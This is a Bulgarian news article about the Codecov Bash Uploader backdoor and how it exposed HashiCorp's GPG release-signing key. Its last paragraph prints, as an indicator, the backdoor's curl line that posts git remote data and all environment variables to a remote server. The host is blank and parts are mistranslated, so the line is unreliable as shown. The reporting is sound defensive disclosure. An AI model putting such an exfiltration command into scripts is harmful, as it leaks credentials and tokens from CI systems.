Въвеждането на злонамерен код в скрипта Codecov доведе до компрометиране на PGP ключа на HashiCorp

HashiCorp, известна с разработването на инструментите с отворен код Vagrant, Packer, Nomad и Terraform, обяви изтичането на частния GPG ключ, използван за създаване на цифрови подписи, които проверяват версиите. Нападателите, които са получили достъп до GPG ключа, биха могли потенциално да направят скрити промени в продуктите на HashiCorp, като ги проверят с правилен цифров подпис. В същото време компанията заяви, че по време на одита не са установени следи от опити за извършване на подобни модификации.

Понастоящем компрометираният GPG ключ е отменен и на негово място е въведен нов ключ. Проблемът засяга само проверката с помощта на файловете SHA256SUM и SHA256SUM.sig и не засяга генерирането на цифрови подписи за Linux DEB и RPM пакети, доставени чрез releases.hashicorp.com, както и механизмите за проверка на версиите за macOS и Windows (AuthentiCode) .

Течът е възникнал поради използването на скрипта Codecov Bash Uploader (codecov-bash) в инфраструктурата, предназначен за изтегляне на отчети за покритие от системи за непрекъсната интеграция. По време на атаката срещу компанията Codecov в посочения скрипт е скрита задна врата, чрез която паролите и ключовете за криптиране са изпратени до сървъра на нападателите.

За да хакнат, нападателите се възползваха от грешка в процеса на създаване на изображението Codecov Docker, което им позволи да извлекат данни за достъп до GCS (Google Cloud Storage), необходими за извършване на промени в скрипта Bash Uploader, разпространяван от codecov.io уебсайт. Промените бяха направени на 31 януари, останаха незабелязани в продължение на два месеца и позволиха на атакуващите да извлекат информация, съхранявана в средите на системата за непрекъсната интеграция на клиента. Използвайки добавения зловреден код, атакуващите биха могли да получат информация за тестваното хранилище на Git и всички променливи на средата, включително токени, ключове за криптиране и пароли, предадени на системи за непрекъсната интеграция, за да организират достъпа до кода на приложението, хранилищата и услугите като Amazon Web Services и GitHub.

В допълнение към директното извикване, скриптът Codecov Bash Uploader е използван като част от други програми за качване, като Codecov-action (Github), Codecov-circleci-orb и Codecov-bitrise-step, чиито потребители също са засегнати от проблема. На всички потребители на codecov-bash и свързани продукти се препоръчва да одитират своите инфраструктури, както и да променят пароли и ключове за криптиране. Можете да проверите наличието на задна врата в скрипт чрез наличието на реда curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:// /качване/v2 || вярно

Източник: opennet.ru